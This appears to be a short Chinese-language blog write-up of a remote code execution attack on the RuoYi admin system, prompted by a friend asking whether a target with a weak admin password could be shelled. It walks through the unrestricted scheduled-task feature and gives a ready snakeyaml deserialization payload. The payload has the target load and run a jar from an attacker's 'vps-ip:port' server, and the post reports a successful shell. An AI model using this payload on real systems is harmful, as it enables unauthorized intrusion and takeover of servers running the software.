0x00 前言
此漏洞源於一個朋友遇到了這個系統,后台有弱口令,問能不能shell
開始審計,先看官方文檔,發現作者在文檔中寫明了歷史漏洞,告誡了用戶使用風險,還算是良心了
https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E
重點是shell,且目標為當時最新版本,歷史漏洞已經無法用了,由於有后台權限,搭建了系統在后台瀏覽了一下功能,發現存在一個任務調度的功能
根據添加調度任務的url定位到代碼,最終定位到任務執行代碼:
可以看到代碼無任何黑白名單限制,直接動態調用任意類任意方法
摸一下依賴有snakeyaml
便想着用artsploit攻擊spring-cloud 的那一套思路(https://github.com/artsploit/yaml-payload)
0x01 漏洞利用
位置:系統監控->定時任務->添加任務
任務名稱 :隨便填
調用目標字符串:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps-ip:port/yaml-payload.jar"]]]]')
cron表達式: 0/50 * * * * ? (隨便填)
執行策略: 執行一次
狀態:正常
成功getshell
利用思路有很多,拋磚引玉了。
0x02 總結
漏洞未在最新4.6.1版本上試過,代碼如果沒改的話,理論上都是可以的。